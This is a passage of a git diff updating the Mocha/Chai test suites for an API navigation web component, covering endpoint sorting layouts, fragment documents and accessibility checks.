         });
+  
+        it('calls collapseAllEndpoints()', () => {
+          const spy = sinon.spy(element, 'collapseAllEndpoints');
+          element.collapseAll();
+          assert.isTrue(spy.called);
+        });
+      });
+  
+      describe('expandAllEndpoints()', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture();
+        });
+  
+        it('sets endpointsOpened', () => {
+          element.expandAllEndpoints();
+          assert.isTrue(element.endpointsOpened);
+        });
+  
+        it('sets the [openedEndpointsValue]', () => {
+          element.expandAllEndpoints();
+          assert.lengthOf(element[openedEndpointsValue], 72);
+        });
+  
+        it('requests template update', () => {
+          const spy = sinon.spy(element, 'requestUpdate');
+          element.expandAllEndpoints();
+          assert.isTrue(spy.called);
+        });
+      });
+  
+      describe('collapseAllEndpoints()', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture();
+        });
+  
+        it('re-sets the [openedEndpointsValue]', () => {
+          element[openedEndpointsValue] = ['test'];
+          element.collapseAllEndpoints();
+          assert.deepEqual(element[openedEndpointsValue], []);
+        });
+  
+        it('requests template update', () => {
+          const spy = sinon.spy(element, 'requestUpdate');
+          element.collapseAllEndpoints();
+          assert.isTrue(spy.called);
+        });
+      });
 
-        it('should render channels', () => {
-          assert.lengthOf(element[endpointsValue], 2);
+      describe('Navigation layout', () => {
+        describe('natural-sort', () => {
+          before(async () => { 
+            store.amf = rearrangeModel;
+          });
+
+          const orderedPaths = [
+            '/accounts',
+            '/accounts/:accountId',
+            '/billing',
+            '/transactions',
+            '/transactions/:txId',
+          ];
+
+          const apiPaths = [
+            '/transactions/:txId',
+            '/billing',
+            '/accounts/:accountId',
+            '/accounts',
+            '/transactions',
+          ];
+
+          it('sorts the endpoints', async () => {
+            const element = await layoutFixture('natural-sort'); 
+            assert.typeOf(element[endpointsValue], 'array', 'has the [endpointsValue]');
+            const sorted = element[endpointsValue].map(i => i.path);
+            assert.deepEqual(sorted, orderedPaths);
+          });
+
+          it('sorts after changing to "natural-sort"', async () => {
+            const element = await layoutFixture('off');
+            const notSorted = element[endpointsValue].map(i => i.path);
+            assert.deepEqual(notSorted, apiPaths);
+            element.layout = 'natural-sort';
+            const sorted = element[endpointsValue].map(i => i.path);
+            assert.deepEqual(sorted, orderedPaths);
+          });
+
+          it('applies API sort from "natural-sort"', async () => {
+            const element = await layoutFixture('natural-sort'); 
+            element.layout = 'off';
+            const notSorted = element[endpointsValue].map(i => i.path);
+            assert.deepEqual(notSorted, apiPaths);
+          });
         });
 
-        it('should render "Channels" label', () => {
-          assert.equal(
-            element.shadowRoot.querySelector('.endpoints div.title-h3')
-              .textContent,
-            'Channels'
-          );
+        describe('natural', () => {
+          before(async () => { 
+            store.amf = demoModel;
+          });
+
+          it('has the same order and unordered endpoints', async () => {
+            const element = await layoutFixture('off');
+            const notSorted = element[endpointsValue].map(i => i.path);
+            element.layout = 'natural';
+            const sorted = element[endpointsValue].map(i => i.path);
+            assert.deepEqual(sorted, notSorted);
+          });
+
+          it('indents child endpoints only', async () => {
+            const element = await layoutFixture('natural');
+            const endpoints = element[endpointsValue];
+            const topLevel = endpoints.find(i => i.path === '/test-parameters/{feature}');
+            assert.equal(topLevel.indent, 0, 'top level has indent 0');
+            const secondLevel = endpoints.find(i => i.path === '/test-parameters/{feature}/{typeFeature}');
+            assert.equal(secondLevel.indent, 2, 'second level has indent 2');
+            assert.equal(secondLevel.label, '/{typeFeature}', 'second level has truncated name');
+          });
         });
-      });
 
-      describe('Unordered endpoints', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
+        describe('tree', () => {
+          before(async () => { 
+            store.amf = streetlightsModel;
+          });
 
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, unorderedEndpoints);
-          element = await basicFixture();
-          element.amf = amf;
-          await nextFrame();
+          const ordered = [
+            'smartylighting/streetlights/1/0',
+            'smartylighting/streetlights/1/0/action/{streetlightId}',
+            'smartylighting/streetlights/1/0/action/{streetlightId}/dim',
+            'smartylighting/streetlights/1/0/action/{streetlightId}/turn/off',
+            'smartylighting/streetlights/1/0/action/{streetlightId}/turn/on',
+            'smartylighting/streetlights/1/0/event/{streetlightId}/lighting/measured'
+          ];
+
+          it('orders the endpoints', async () => {
+            const element = await layoutFixture('tree');
+            const sorted = element[endpointsValue].map(i => i.path);
+            assert.deepEqual(sorted, ordered);
+          });
+
+          it('creates a tree structure with abstract common ancestors', async () => {
+            const element = await layoutFixture('tree');
+            const [e1, e2, e3] = element[endpointsValue];
+            assert.isUndefined(e1.id, 'the top-level endpoint has no id');
+            assert.equal(e1.indent, 0, 'the top-level endpoint has indent = 0');
+            assert.isUndefined(e2.id, 'the second-level endpoint has no id');
+            assert.equal(e2.indent, 1, 'the second-level endpoint has indent = 1');
+            assert.typeOf(e3.id, 'string', 'the third-level endpoint has the id');
+            assert.equal(e3.indent, 2, 'the third-level endpoint has indent = 2');
+          });
+
+          it('does not dispatch the navigation item when clicking on an abstract item', async () => {
+            const element = await layoutFixture('tree');
+            const selector = '[data-path="smartylighting/streetlights/1/0/action/{streetlightId}"]';
+            const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(selector));
+            const spy = sinon.spy();
+            element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+            node.click();
+            assert.isFalse(spy.called);
+          });
+
+          it('dispatches the navigation item when clicking on an endpoint item', async () => {
+            const element = await layoutFixture('tree');
+            const selector = '[data-path="smartylighting/streetlights/1/0/action/{streetlightId}/dim"]';
+            const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(selector));
+            const spy = sinon.spy();
+            element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+            node.click();
+            assert.isTrue(spy.calledOnce);
+          });
         });
+      });
 
-        it('should render full path of third endpoint', () => {
-          const nodes = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
-            '.list-item.endpoint .endpoint-name'
-          ));
-          
-          assert.equal(nodes[2].innerText, '/foo/bar');
+      describe('Async API rendering', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = asyncModel;
+          element = await dataFixture();
+        });
+  
+        it('renders all channels', () => {
+          const channels = element[endpointsValue];
+          assert.typeOf(channels, 'array', 'has the array of channels');
+          assert.lengthOf(channels, 2, 'has all channels');
+        });
+  
+        it('should render "Channels" label', () => {
+          assert.equal(
+            element.shadowRoot.querySelector('[data-section="endpoints"] .title-h3').textContent.trim(),
+            'Channels'
+          );
         });
       });
 
       describe('APIC-550', () => {
-        /** @type ApiNavigationElement */
-        let element;
         /** @type AmfDocument */
-        let amf;
+        let model;
 
-        it('should render without errors', async () => {
-          amf = await loader.getGraph(compact, 'APIC-550');
-          element = await modelFixture(amf);
-          await nextFrame();
-          assert.lengthOf(element[endpointsValue], 1);
+        before(async () => {
+          model = await loader.getGraph(compact, 'APIC-550');
+          store.amf = model;
+        });
+
+        it('renders without errors', async () => {
+          const element = await dataFixture();
+          assert.lengthOf(element[endpointsValue], 2);
         });
       });
 
       describe('APIC-554', () => {
-        /** @type ApiNavigationElement */
-        let element;
         /** @type AmfDocument */
-        let amf;
+        let model;
 
         before(async () => {
-          amf = await loader.getGraph(compact, 'APIC-554');
+          model = await loader.getGraph(compact, 'APIC-554');
+          store.amf = model;
         });
 
-        beforeEach(async () => {
-          element = await modelFixture(amf);
-        });
-
-        it('should compute endpoint names correctly', () => {
+        it('computes endpoint names correctly', async () => {
+          const element = await layoutFixture('natural');
           const labels = [
             '/customer/{customerId}/chromeos',
             '/deviceId',
@@ -1177,20 +1467,16 @@ describe('ApiNavigationElement', () => {
       });
 
       describe('APIC-554-ii', () => {
-        /** @type ApiNavigationElement */
-        let element;
         /** @type AmfDocument */
-        let amf;
+        let model;
 
         before(async () => {
-          amf = await loader.getGraph(compact, 'APIC-554-ii');
-        });
-
-        beforeEach(async () => {
-          element = await modelFixture(amf);
+          model = await loader.getGraph(compact, 'APIC-554-ii');
+          store.amf = model;
         });
 
-        it('should compute endpoint names correctly', () => {
+        it('computes endpoint names correctly', async () => {
+          const element = await layoutFixture('natural');
           const labels = [
             '/customers/{customer}/chromeos/deviceId',
             '/customer/{customer}/chromeos/deviceId',
@@ -1203,21 +1489,20 @@ describe('ApiNavigationElement', () => {
       });
 
       describe('SE-19215', () => {
-        /** @type ApiNavigationElement */
-        let element;
         /** @type AmfDocument */
-        let amf;
+        let model;
 
         before(async () => {
-          amf = await loader.getGraph(compact, 'SE-19215');
-        });
-
-        beforeEach(async () => {
-          element = await modelFixture(amf);
+          model = await loader.getGraph(compact, 'SE-19215');
+          store.amf = model;
         });
 
-        it('should compute endpoint names correctly', () => {
-          const labels = ['/omaha/transactionscall1', '/transactions/call2'];
+        it('computes endpoint names correctly', async () => {
+          const element = await layoutFixture('natural');
+          const labels = [
+            '/omaha/transactionscall1', 
+            '/transactions/call2'
+          ];
           assert.deepEqual(
             element[endpointsValue].map(e => e.label),
             labels
@@ -1225,418 +1510,37 @@ describe('ApiNavigationElement', () => {
         });
       });
 
-      describe('operationsOpened', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
-        before(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-        });
-
-        beforeEach(async () => {
-          element = await operationsOpenedFixture(amf, true);
-          await aTimeout(0);
-        });
-
-        it('should expand all operations when operationsOpened', () => {
-          const operations = element.shadowRoot.querySelectorAll('.list-item.endpoint');
-          assert.equal(operations.length, 32);
-
-          let openedOperations = 0;
-          operations.forEach(e => {
-            if (e.getAttribute('data-endpoint-opened') === '') {
-              openedOperations++;
-            }
-          });
-          assert.equal(openedOperations, 32);
-        });
-      });
-
       describe('GH-27', () => {
-        /** @type ApiNavigationElement */
-        let element;
         /** @type AmfDocument */
-        let amf;
+        let model;
 
         before(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
+          model = await loader.getGraph(compact, 'navigation-api');
+          store.amf = model;
         });
 
-        beforeEach(async () => {
-          element = await modelFixture(amf);
-          await aTimeout(0);
-        });
-
-        it('selected operation should expand endpoint', async () => {
-          const operation = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation[data-shape="operation"]'));
-          element.domainId = operation.dataset.apiId;
-          element.domainType = 'operation';
+        it('expand endpoint when selecting an operation', async () => {
+          const element = await layoutFixture('natural');
+          const selector = `[data-graph-shape="operation"]`;
+          const operation = /** @type HTMLElement */ (element.shadowRoot.querySelector(selector));
+          element.domainId = operation.dataset.graphId;
           await nextFrame();
           assert.equal(operation.classList.contains('selected'), true);
-          assert.notEqual(operation.parentElement.getAttribute('data-endpoint-opened'), null);
+          assert.equal(operation.parentElement.hasAttribute('opened'), true);
         });
       });
 
-      describe('noOverview', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
+      describe('a11y', () => {
         before(async () => {
-          amf = await loader.getGraph(compact, 'simple-api');
-        });
-
-        beforeEach(async () => {
-          element = await modelFixture(amf);
-        });
-
-        it('should set noOverview to false by default', () => {
-          assert.isFalse(element.noOverview)
-        });
-
-        it('should render endpoints overview by default', () => {
-          const endpoints = element.shadowRoot.querySelectorAll(
-            '.list-item.operation[data-shape="resource"]'
-          );
-          assert.equal(endpoints.length, 3);
+          store.amf = demoModel;
         });
-
-        it('should render endpoints name by default', () => {
-          const endpoints = element.shadowRoot.querySelectorAll(
-            '.endpoint-name'
-          );
-          assert.equal(endpoints.length, 3);
-        });
-
-        it('should set noOverview to true', async () => {
-          element.noOverview = true;
-          await aTimeout(0);
-
-          assert.isTrue(element.noOverview)
-        });
-
-        it('should not render endpoints overview when noOverview', async () => {
-          element.noOverview = true;
-          await aTimeout(0);
-
-          const endpoints = element.shadowRoot.querySelectorAll(
-            '.list-item.operation[data-shape="resource"]'
-          );
-          assert.equal(endpoints.length, 0);
-        });
-
-        it('should render clickable endpoints name when noOverview', async () => {
-          element.noOverview = true;
-          await aTimeout(0);
-
-          const endpoints = element.shadowRoot.querySelectorAll(
-            '.endpoint-name-overview'
-          );
-          assert.equal(endpoints.length, 3);
-        });
-
-        it('should select endpoint when clicking its name', async () => {
-          element.noOverview = true;
-          await aTimeout(0);
-
-          const endpointName = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint-name-overview'));
-          endpointName.click();
-          await aTimeout(0);
-
-          const endpoint = element.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${endpointName.dataset.apiId}"]`);
-          assert.equal(endpoint.className, "list-item endpoint selected");
-        });
-
-        describe('menu keyboard navigation', () => {
-          it('should focus on endpoint path detail first', async () => {
-            element.noOverview = true;
-            element.endpointsOpened = true;
-            await aTimeout(5);
-            element.dispatchEvent(new Event('focus', { bubbles: false }));
-            await nextFrame();
-            // Key press down
-            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
-            await nextFrame();
-            const node = element.shadowRoot.querySelector('div[data-endpoint-path="/one"] .path-details');
-            assert.equal(
-              element.focusedItem,
-              node,
-              'element.focusedItem is last item'
-            );
-          });
-
-          it('should focus on endpoint toggle arrow second', async () => {
-            element.noOverview = true;
-            element.endpointsOpened = true;
-            await aTimeout(5);
-            element.dispatchEvent(new Event('focus', { bubbles: false }));
-            await nextFrame();
-            // Key press down
-            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
-            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
-            await nextFrame();
-            const node = element.shadowRoot.querySelector('div[data-endpoint-path="/one"] anypoint-icon-button');
-            assert.equal(
-              element.focusedItem,
-              node,
-              'element.focusedItem is last item'
-            );
-          });
-        });
-      });
-
-      describe('renderFullPaths', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-          element = await basicFixture();
-          element.amf = amf;
+    
+        it('performs a11y tests', async () => {
+          const element = await layoutFixture('natural');
+          element.domainId = 'summary';
           await nextFrame();
+          await assert.isAccessible(element);
         });
-
-        it('renders full paths when renderFullPaths is set', async () => {
-          element.renderFullPaths = true;
-          element.endpointsOpened = true;
-          await aTimeout(50);
-          const renderedPath = element.shadowRoot.querySelectorAll('.list-item.endpoint')[2].textContent.split('\n').join('').trim();
-          assert.equal(renderedPath, '/files/{fileId}/copy');
-        });
-
-        it('does not indent any endpoint', async () => {
-          element.renderFullPaths = true;
-          element.endpointsOpened = true;
-          await aTimeout(50);
-          element[endpointsValue].forEach(endpoint => assert.equal(endpoint.indent, 0));
-        });
-      });
-    });
-  });
-
-  describe('a11y', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    beforeEach(async () => {
-      const amf = await loader.getGraph(true, 'navigation-api');
-      element = await summaryFixture();
-      element.amf = amf;
-      element.domainId = 'summary';
-      await nextFrame();
-    });
-
-    it('performs a11y tests', async () => {
-      await assert.isAccessible(element);
-    });
-  });
-
-  describe('default opened state', () => {
-    /** @type AmfDocument */
-    let amf;
-    before(async () => {
-      amf = await loader.getGraph(true, 'navigation-api');
-    });
-
-    it('opens endpoints when initialized', async () => {
-      const element = await endpointsOpenedFixture(amf);
-      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
-        '.endpoints > anypoint-collapse'
-      ));
-      assert.isTrue(node.opened);
-    });
-
-    it('opens documentation when initialized', async () => {
-      const element = await docsOpenedFixture(amf);
-      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
-        '.documentation > anypoint-collapse'
-      ));
-      assert.isTrue(node.opened);
-    });
-
-    it('opens types when initialized', async () => {
-      const element = await typesOpenedFixture(amf);
-      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.types > anypoint-collapse'));
-      assert.isTrue(node.opened);
-    });
-
-    it('opens security when initialized', async () => {
-      const element = await securityOpenedFixture(amf);
-      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
-        '.security > anypoint-collapse'
-      ));
-      assert.isTrue(node.opened);
-    });
-  });
-
-  describe('a11y', () => {
-    /** @type AmfDocument */
-    let amf;
-
-    before(async () => {
-      amf = await loader.getGraph(true, 'simple-api');
-    });
-
-    describe('menu keyboard tests', () => {
-      /** @type ApiNavigationElement */
-      let element;
-      beforeEach(async () => {
-        element = await modelFixture(amf);
-      });
-
-      it('first item gets focus when menu is focused', async () => {
-        element.dispatchEvent(new Event('focus', { bubbles: false }));
-        await aTimeout(0);
-        const node = element.shadowRoot.querySelector(
-          '.endpoints .section-title'
-        );
-        assert.equal(
-          element.focusedItem,
-          node,
-          'element.focusedItem is first item'
-        );
-      });
-
-      it('selected item gets focus when menubar is focused', async () => {
-        element.endpointsOpened = true;
-        await aTimeout(0);
-        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
-        node.click();
-        window.focus();
-        await aTimeout(0);
-        element.dispatchEvent(new Event('focus', { bubbles: false }));
-        assert.equal(
-          element.focusedItem,
-          node,
-          'element.focusedItem is first item'
-        );
-      });
-
-      it('focused on previous item', async () => {
-        element.endpointsOpened = true;
-        await aTimeout(0);
-        element.dispatchEvent(new Event('focus', { bubbles: false }));
-        await aTimeout(0);
-        // Key press up
-        element.dispatchEvent(keyboardEvent('ArrowUp', 38));
-        await aTimeout(0);
-        const node = element.shadowRoot.querySelectorAll(
-          '.endpoints > anypoint-collapse .list-item.endpoint'
-        )[2];
-        assert.equal(
-          element.focusedItem,
-          node,
-          'element.focusedItem is last item'
-        );
-      });
-
-      it('focused on next item', async () => {
-        element.dispatchEvent(new Event('focus', { bubbles: false }));
-        await aTimeout(0);
-        // Key press down
-        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
-        await aTimeout(0);
-        const node = element.shadowRoot.querySelector(
-          '.endpoints > .section-title'
-        );
-        assert.equal(
-          element.focusedItem,
-          node,
-          'element.focusedItem is last item'
-        );
-      });
-
-      it('focused on next item', async () => {
-        element.dispatchEvent(new Event('focus', { bubbles: false }));
-        await aTimeout(0);
-        // Key press down
-        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
-        await aTimeout(0);
-        const node = element.shadowRoot.querySelector(
-          '.endpoints > .section-title'
-        );
-        assert.equal(
-          element.focusedItem,
-          node,
-          'element.focusedItem is last item'
-        );
-      });
-
-      it('keyboard events should not bubble', async () => {
-        let keyCounter = 0;
-        element.parentElement.addEventListener('keydown', event => {
-          if (event.key === 'Escape') {
-            keyCounter++;
-          }
-          if (event.key === 'ArrowUp') {
-            keyCounter++;
-          }
-          if (event.key === 'ArrowDown') {
-            keyCounter++;
-          }
-        });
-        // up
-        element.dispatchEvent(keyboardEvent('ArrowUp', 38));
-        // down
-        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
-        // esc
-        element.dispatchEvent(keyboardEvent('Escape', 27));
-        await aTimeout(0);
-        assert.equal(keyCounter, 0);
-      });
-
-      it('selects operation item with space bar', () => {
-        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
-        node.dispatchEvent(keyboardEvent('Space', 32));
-        assert.equal(element.domainId, node.dataset.apiId);
-      });
-
-      it('selects operation item with enter', () => {
-        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
-        node.dispatchEvent(keyboardEvent('Enter', 13));
-        assert.equal(element.domainId, node.dataset.apiId);
-      });
-
-      it('toggles endpoints with space bar', () => {
-        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.section-title'));
-        node.dispatchEvent(keyboardEvent('Space', 32));
-        assert.isTrue(element.endpointsOpened);
-      });
-
-      it('toggles endpoint with space bar', async() => {
-        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
-        node.dispatchEvent(keyboardEvent('Space', 32));
-        await aTimeout(0);
-        // @ts-ignore
-        assert.isTrue(node.nextElementSibling.opened);
-      });
-
-      it('shift+tab removes focus', async () => {
-        element.dispatchEvent(new Event('focus', { bubbles: false }));
-        // Wait for async focus
-        await aTimeout(0);
-        // Key press 'Tab'
-        const e = new KeyboardEvent('keydown', {
-          detail: 0,
-          bubbles: true,
-          cancelable: true,
-          composed: true,
-          keyCode: 9,
-          code: 'Tab',
-          key: 'Tab',
-          shiftKey: true,
-        });
-        element.dispatchEvent(e);
-        assert.equal(element.getAttribute('tabindex'), '-1');
-        assert.isTrue(element[shiftTabPressed]);
-        assert.equal(element[focusedItemPrivate], null);
-        await aTimeout(1);
-        assert.isFalse(element[shiftTabPressed]);
-        assert.equal(element.getAttribute('tabindex'), '0');
       });
     });
   });
diff --git a/test/navigation/documentation-fragment.test.js b/test/navigation/documentation-fragment.test.js
index 9911ca5..8c2e4eb 100644
--- a/test/navigation/documentation-fragment.test.js
+++ b/test/navigation/documentation-fragment.test.js
@@ -1,13 +1,13 @@
-import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { fixture, assert, nextFrame, html, oneEvent } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
 import {
-  docsValue,
-  typesValue,
+  documentationsValue,
+  schemasValue,
   securityValue,
   endpointsValue,
-  isFragmentValue,
 } from '../../src/elements/ApiNavigationElement.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
+import '../../define/api-navigation.js';
 
 /** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
@@ -15,38 +15,54 @@ import {
 describe('ApiNavigationElement', () => {
   describe('Documentation fragment', () => {
     const loader = new AmfLoader();
+    const store = new DomEventsAmfStore(window);
+    store.listen();
 
     /**
-     * @param {AmfDocument=} amf
      * @returns {Promise<ApiNavigationElement>}
      */
-    async function basicFixture(amf) {
-      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    async function dataFixture() {
+      const elm = /** @type ApiNavigationElement */ (await fixture(html`
+        <api-navigation 
+          summary 
+          layout="tree"
+          filter
+          endpointsOpened
+          documentationsOpened
+          schemasOpened
+          securityOpened></api-navigation>
+      `));
+      await oneEvent(elm, 'graphload');
+      await nextFrame();
+      return elm;
     }
 
     [false, true].forEach((compact) => {
       describe(compact ? 'Compact model' : 'Full model', () => {
+        before(async () => {
+          const amf = await loader.getGraph(compact, 'documentation-fragment');
+          store.amf = amf;
+        });
+
         /** @type ApiNavigationElement */
         let element;
-
         beforeEach(async () => {
-          const amf = await loader.getGraph(compact, 'documentation-fragment');
-          element = await basicFixture(amf);
+          element = await dataFixture();
         });
 
         it('collects the documentation information', () => {
-          const result = element[docsValue];
+          const result = element[documentationsValue];
           assert.lengthOf(result, 1);
           assert.typeOf(result[0].id, 'string');
-          assert.equal(result[0].label, 'About');
+          assert.equal(result[0].title, 'About');
         });
 
         it('opens the Documentation', () => {
-          assert.isTrue(element.docsOpened);
+          assert.isTrue(element.documentationsOpened);
         });
 
-        it('sets the [isFragmentValue]', () => {
-          assert.isTrue(element[isFragmentValue]);
+        it('documentMeta has the isFragment property', () => {
+          assert.isTrue(element.documentMeta.isFragment);
         });
 
         it('sets the summaryRendered', () => {
@@ -60,15 +76,15 @@ describe('ApiNavigationElement', () => {
         });
 
         it('does not set types', () => {
-          assert.isUndefined(element[typesValue]);
+          assert.deepEqual(element[schemasValue], []);
         });
 
         it('does not set security', () => {
-          assert.isUndefined(element[securityValue]);
+          assert.deepEqual(element[securityValue], []);
         });
 
         it('does not set endpoints', () => {
-          assert.isUndefined(element[endpointsValue]);
+          assert.deepEqual(element[endpointsValue], []);
         });
       });
     });
diff --git a/test/navigation/security-fragment.test.js b/test/navigation/security-fragment.test.js
index 359eb49..e396527 100644
--- a/test/navigation/security-fragment.test.js
+++ b/test/navigation/security-fragment.test.js
@@ -1,13 +1,13 @@
-import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { fixture, assert, nextFrame, html, oneEvent } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
 import {
-  docsValue,
-  typesValue,
+  documentationsValue,
+  schemasValue,
   securityValue,
   endpointsValue,
-  isFragmentValue,
 } from '../../src/elements/ApiNavigationElement.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
+import '../../define/api-navigation.js';
 
 /** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
@@ -15,52 +15,66 @@ import {
 describe('ApiNavigationElement', () => {
   describe('Security fragment', () => {
     const loader = new AmfLoader();
+    const store = new DomEventsAmfStore(window);
+    store.listen();
 
     /**
-     * @param {AmfDocument=} amf
      * @returns {Promise<ApiNavigationElement>}
      */
-    async function basicFixture(amf) {
-      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    async function dataFixture() {
+      const elm = /** @type ApiNavigationElement */ (await fixture(html`
+        <api-navigation 
+          summary 
+          layout="tree"
+          filter
+          endpointsOpened
+          documentationsOpened
+          schemasOpened
+          securityOpened></api-navigation>
+      `));
+      await oneEvent(elm, 'graphload');
+      await nextFrame();
+      return elm;
     }
 
     [false, true].forEach((compact) => {
       describe(compact ? 'Compact model' : 'Full model', () => {
+        before(async () => {
+          const amf = await loader.getGraph(compact, 'oauth2-fragment');
+          store.amf = amf;
+        });
+
         /** @type ApiNavigationElement */
         let element;
-
         beforeEach(async () => {
-          const amf = await loader.getGraph(compact, 'oauth2-fragment');
-          element = await basicFixture();
-          element.amf = amf;
-          await nextFrame();
+          element = await dataFixture();
         });
 
-        it('Documentation is undefined', () => {
-          assert.isUndefined(element[docsValue]);
+        it('the documentation is empty', () => {
+          assert.isUndefined(element[documentationsValue]);
         });
 
-        it('Types is undefined', () => {
-          assert.isUndefined(element[typesValue]);
+        it('the schemas is empty', () => {
+          assert.deepEqual(element[schemasValue], []);
         });
 
-        it('Security is computed', () => {
+        it('the security is computed', () => {
           const result = element[securityValue];
           assert.lengthOf(result, 1);
           assert.typeOf(result[0].id, 'string');
-          assert.equal(result[0].label, 'MyOauth - OAuth 2.0');
+          assert.equal(result[0].displayName, 'MyOauth');
         });
 
-        it('Endpoints is undefined', () => {
-          assert.isUndefined(element[endpointsValue]);
+        it('the endpoints is empty', () => {
+          assert.deepEqual(element[endpointsValue], []);
         });
 
         it('Security is opened', () => {
           assert.isTrue(element.securityOpened);
         });
 
-        it('[isFragmentValue] is set', () => {
-          assert.isTrue(element[isFragmentValue]);
+        it('documentMeta has the isFragment property', () => {
+          assert.isTrue(element.documentMeta.isFragment);
         });
 
         it('summaryRendered is false', () => {
diff --git a/test/navigation/type-fragment.test.js b/test/navigation/type-fragment.test.js
index 33054c1..3e81547 100644
--- a/test/navigation/type-fragment.test.js
+++ b/test/navigation/type-fragment.test.js
@@ -1,66 +1,80 @@
-import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { fixture, assert, nextFrame, html, oneEvent } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
 import {
-  docsValue,
-  typesValue,
+  documentationsValue,
+  schemasValue,
   securityValue,
   endpointsValue,
-  isFragmentValue,
 } from '../../src/elements/ApiNavigationElement.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
+import '../../define/api-navigation.js';
 
 /** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
 
-describe('ApiNavigationElement', () => {
+describe('ApiNavigationLegacyElement', () => {
   describe('Type fragment', () => {
     const loader = new AmfLoader();
+    const store = new DomEventsAmfStore(window);
+    store.listen();
 
     /**
-     * @param {AmfDocument=} amf
      * @returns {Promise<ApiNavigationElement>}
      */
-    async function basicFixture(amf) {
-      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    async function dataFixture() {
+      const elm = /** @type ApiNavigationElement */ (await fixture(html`
+        <api-navigation 
+          summary 
+          layout="tree"
+          filter
+          endpointsOpened
+          documentationsOpened
+          schemasOpened
+          securityOpened></api-navigation>
+      `));
+      await oneEvent(elm, 'graphload');
+      await nextFrame();
+      return elm;
     }
 
     [false, true].forEach((compact) => {
       describe(compact ? 'Compact model' : 'Full model', () => {
+        before(async () => {
+          const amf = await loader.getGraph(compact, 'type-fragment');
+          store.amf = amf;
+        });
+
         /** @type ApiNavigationElement */
         let element;
-
         beforeEach(async () => {
-          const amf = await loader.getGraph(compact, 'type-fragment');
-          element = await basicFixture();
-          element.amf = amf;
-          await nextFrame();
+          element = await dataFixture();
         });
 
-        it('Documentation is undefined', () => {
-          assert.isUndefined(element[docsValue]);
+        it('the documentation is empty', () => {
+          assert.isUndefined(element[documentationsValue]);
         });
 
-        it('Types is computed', () => {
-          const result = element[typesValue];
+        it('the schemas is computed', () => {
+          const result = element[schemasValue];
           assert.lengthOf(result, 1);
           assert.typeOf(result[0].id, 'string');
-          assert.equal(result[0].label, 'A person resource');
+          assert.equal(result[0].displayName, 'A person resource');
         });
 
-        it('Security is undefined', () => {
-          assert.isUndefined(element[securityValue]);
+        it('the security is empty', () => {
+          assert.deepEqual(element[securityValue], []);
         });
 
-        it('Endpoints is undefined', () => {
-          assert.isUndefined(element[endpointsValue]);
+        it('the endpoints is empty', () => {
+          assert.deepEqual(element[endpointsValue], []);
         });
 
         it('Types is opened', () => {
-          assert.isTrue(element.typesOpened);
+          assert.isTrue(element.schemasOpened);
         });
 
-        it('[isFragmentValue] is set', () => {
-          assert.isTrue(element[isFragmentValue]);
+        it('documentMeta has the isFragment property', () => {
+          assert.isTrue(element.documentMeta.isFragment);
         });
 
         it('summaryRendered is false', () => {
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index 623006a..3f188a1 100644
